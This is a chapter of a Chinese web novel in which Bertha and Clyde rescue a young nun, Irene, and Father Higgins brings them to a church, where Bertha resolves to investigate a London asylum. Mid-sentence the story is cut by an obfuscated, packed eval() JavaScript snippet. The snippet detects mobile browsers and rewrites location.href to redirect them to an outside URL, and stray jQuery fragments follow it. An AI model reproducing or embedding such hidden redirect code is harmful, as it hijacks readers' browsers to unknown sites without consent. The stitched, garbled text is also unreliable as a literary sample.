坐在她身边、紧挨着她的那位修女，有着一张小小的、稚嫩的脸庞，宛如一枚光洁的白煮蛋。


    她身材极为瘦小，裹在宽大的黑袍里更显孱弱。


    伯莎猜测她大概也许只有十五六岁，脑袋被严实地包裹在修女帽中，却仍有一缕棕色的细软发丝不安分地从帽檐边泄露出来。


    此刻，这位小修女正睁着一双湿漉漉、受惊小鹿般的眼睛，怯生生地望着她，那眼神充斥着对她的感激，纯粹得惹人怜爱。


    修女服的衣褶间散发着干草的气息，那是一种清淡而洁净的香味儿，隐约带着安息香的温润质感，细细嗅闻，有种使人神经放松、逐渐舒缓的魔力。


    她被自己和克莱德从困境中解救出来，此刻正忙不迭地向他们道谢。


    感激的话语如同轻柔急促的溪流，不断从其苍白的唇间流淌而出。


    随后，修女转过头，目光越过车厢，望向前方正在驾马的神父，声音里带着一丝劫后余生的颤抖：


    “希金斯神父，幸好……幸好您及时赶到了……”


    小修女说着，下意识地将头轻轻靠向伯莎的肩膀，仿佛那里是唯一可靠的避风港。


    她似乎直到此刻才真正缓过劲来，惊魂未定的脸上充满了对那位神父的全然信任与卑微期冀。


    “你平安无事就好。”


    神父的声音从前座传来，沉稳的语调向下压着一丝不易察觉的后怕，“万万没想到，在我们这片教区，光天化日之下，竟会出现这样的恶劣之徒。”


    说到这，他顿了顿，回过头来看了她一眼，那目光复杂而隐含深意，继续道，语气变得更加郑重：


    “对了，艾琳，你最该衷心感谢的，是你身边这两位仗义的好心人。若非他们不顾危险、挺身而出，恐怕即便我今天赶来，也要迟来一步，那后果……不堪设想。”


    名为艾琳的小修女懵懂地点点头，仿佛这才完全理解自己刚刚逃离了怎样的险境。


    艾琳怯生生地挪动身子，朝她又靠近了一点，声音细若蚊蚋：“小姐，真的太感谢您了，还有那位先生，要不是你们，我今天就……”


    “没事了，”她适时打断她的话，避免她去回忆那些不堪的细节。


    她侧过脸，对着艾琳温柔地笑了笑，那笑容里充满了安抚的力量，亲和力瞬间拉满，仿佛能驱散一切阴霾，“都已经过去了。”


    刚才，从他们简短对话和互动中，伯莎大致捋清了这两人的关系。


    在她过往有限的理解里，神父一般是教堂里的绝对主事者。


    他们身着特殊的祭衣，拥有主持弥撒、聆听信徒告解乃至赦免罪过的权威，是连接世俗与信仰的桥梁。


    而修女则是虔诚的侍奉者，她们虽然不属于圣秩人员，并不拥有神父那样的圣职权柄，但却负责担任医院、孤儿院、济贫院等慈善机构的管理者角色。


    她猜想，艾琳和希金斯之间，大概是属于一种互相协助的公务关系。今天正是他们外出前往济贫院办事的日子，却不慎在分开时遭遇了意外。


    在日常教区事务上，艾琳需要听从神父的安排与指令，即使她的直接管理者是属于修会里的女性上级。因此，他们说话时，语气里才会带着那种自然而然的信任和敬重。


    她又暗自观察了一番那位驾车的神父。


    她想他并非传统意义上的美男子，但身上却有种特别的魅力。


    那件毫无版型可言的黑袍穿在他身上，反而十分相衬，凸显出一种超越外表的气度。


    马车在泥泞的道路上颠簸前行，车厢内陷入了一种微妙的寂静。


    他们没再继续之前的交谈，只余下车轮滚动和马蹄踏水的声响。


    然而，在这片沉默之中，她却能清晰地感觉到一道目光，来自于前方驾车的希金斯神父。


    他有几次巧妙地借着调整缰绳或侧身查看路况的间隙，目光短暂地、迅速掠过她，那眼神并非冒犯，却带着一种沉静的审视与不易察觉的好奇。


    这种被默默观察的感觉让她有些不自在。


    她一向习惯于隐藏和观察，而非成为被观察的对象，尤其是当这目光来自一个如此难以捉摸、身份特殊的人物时。


    所以，她只能微微侧过脸，假意望向窗外飞逝的雨景，将自己这份不易察觉的窘迫藏匿于平静的表象之下。


    没过多久，马车厢内的安静便被克莱德打破。


    他悄悄附在她耳边，压低声音说了句什么。


    但她因为注意力都放在窗外的雨景上面，导致没有听清克莱德话语里的内容。


    “你说什么？”她微微偏头，轻声问道。


    “伯莎小姐，我们是不是该下车了……”克莱德弱弱地重复，声音里带着一丝不确信。


    她这才反应过来。


    他们似乎已经穿越了好几个街区。


    而此时，马车的速度正明显放缓，不知不觉中驶入一座石铺的庭院。


    雷雨暂歇，透过葳蕤的树冠，天边的晚霞变成了一种淡紫色，如同变幻莫测的猫眼石。


    雨后的阳光穿透灰白的云层，均匀地洒在教堂前的草坪上。


    马车停稳后，艾琳主动走下车，先克莱德一步，伸出胳臂来扶她。


    她一面不动声色地观察着周围环境，一面踏到地上，含笑向艾琳道谢。


    她仰头望去，眼前是一座有着双塔结构的宏伟教堂，每座塔顶都伫立着一个英俊的守护天使，石雕的姿态温柔而庄严。


    她四下看看，眼光不意落在远处的马厩。


    神父希金斯正细心地将一条毛毯盖在拉车的马身上，轻柔擦拭着马匹额头上湿漉漉的鬃毛，动作专注而怜惜。


    仿佛这并非一项琐碎杂务，而是在散播福音，生怕这些忠实的伙伴因为淋雨而受寒。


    她站在车门边，静静观察了片刻，心想，这样一个对待动物都如此温柔的人，内心大抵不会存有真正的卑劣吧？


    这份观察带来的微妙确信，让她自遭遇暴徒以来便一直紧绷的神经，终于不易察觉地松弛了几分。


    突然，雨后微凉的空气朝她袭来。


    她忍不住打了个喷嚏，抱了抱胳膊，先前被雨淋湿的衣物紧贴着她的身体，带来刺骨的凉意。


    她的嘴唇线条分明，如同两片薄薄的花瓣，只是略显苍白。


    名叫艾琳的小修女显然注意到了这一点，急忙脱下自己干燥的外衫，不由分说地披在她的肩头。


    “小姐，”艾琳仰起脸，亮晶晶的瞳孔掩在金色的睫毛之下，眼中满是恳切，“您都受凉了，请随我们去教堂里坐坐吧？可以烤烤火，烘干衣服，还能吃点热乎乎的食物。”


    “是啊，”神父也从马厩旁走来，用温和的目光轻扫过她和克莱德，“教堂的门永远为需要帮助的人敞开。”


    在她犹豫的瞬间，神父站在教堂古朴的门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260940|181128||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    廊下，说了句“万事各有其时”，对着她做了一个主教般的祈福手势，随后便转身，消失在教堂内部的阴影之中，似乎是去准备什么。


    她架不住这番好意，尤其在艾琳哀求的眼光下，终于点头应允，答应与他们共用一顿简单的圣餐。


    尽管今天这次意外令她心绪不宁，但修女艾琳的体贴很快抚平了她的不安。


    艾琳悄悄打量她，发现她的头发也被雨水淋湿了，便顾不上自己，连忙拉着她走进教堂侧翼的一座小房子里。


    这是一座铁皮盖顶的房屋，里面有祷告室，也有接待客人之用的会客厅。


    艾琳利落地为拿来干净的毛巾和厚实的毯子，并为她和克莱德在壁炉旁腾出空位。


    她将头发擦得半干，便裹紧毯子坐了下来。


    壁炉中的木柴噼啪作响，橘红色的火光跃动着，散发出令人昏昏欲睡的暖意。


    她蜷缩在软椅里，听着窗外残余的雨滴声，在疲惫与温暖的双重包裹下，不知不觉陷入了浅眠。


    醒来时，窗外的天空已彻底漆黑，雨声消失，取而代之的是一种冰冷的安静。


    一时之间，她竟不知自己睡了多久，身在何处。


    只是仍紧裹着艾琳递过来的那条毛毯，望着壁炉中渐熄的火焰，里面的余烬闪烁着零星的微光。


    她苍白的下颌被火光映红，细碎的金色光晕在她情绪莫测的瞳孔间闪来闪去，使其融上了一层明艳美丽的色泽。


    周围一片静谧，除了木柴在壁炉中偶尔发出的噼啪声，再无别的。


    她环顾四周，发现艾琳和克莱德竟也都在各自的软椅中睡着了，只有她独自醒着。


    她摸了摸已经干透的发尾和衣摆，趁此机会，裹紧毯子站起身来，悄无声息地打量着这个空间。


    她的目光掠过壁炉架上那只据说盛放着基督宝血的圣杯，又扫过墙上悬挂的描绘着奇异美洲植物的图画。


    正当她沉浸在这份宁静的探索中时，神父希金斯推门走了进来。


    高大的神父身后跟着一只浑身湿透、却显得异常轻松自在的小狗。它那欢脱的劲儿与房间里的氛围格格不入。它刚在附近的街上散完步，一进来就兴高采烈地撒起欢来，甚至跳上桌子毫无目的地吠叫，险些在上面留下几个泥爪印。


    然而，主人仅仅一个平静的眼神就足以让它立刻安静下来。


    “诺伊，”被吵醒的艾琳的声音带着一丝睡意，却依旧温和，“下来！”


    小狗呜咽了一声，缩成一团，躲到了椅子背后。


    这时，艾琳转过头，关切地望向她。


    “你喜欢小狗吗？”艾琳揉着眼睛问道。


    “特别喜欢。”她回答完，嘴角不自觉地浮现一丝笑意。


    “不怕就好，我认识的像你这样的小姐，有的见到狗就尖叫个不停。”


    接下来的时间，艾琳去准备简单的晚餐，神父希金斯则在房间另一头的桌子上专注地写着什么。


    而她和克莱德坐在壁炉前，低声继续着之前关于梅森夫人的谈话。


    她的心中隐隐下定了一个决心。


    她不愿再逃避，她想去见见原身的母亲，想去伦敦的那家疯人院一探究竟。


    她甚至开始考虑正式雇佣克莱德作为向导和助手。


    她的目标明确，就是前往伦敦，深入那家兼具修道院功能的精神病院，去探知梅森家族被掩埋的真相。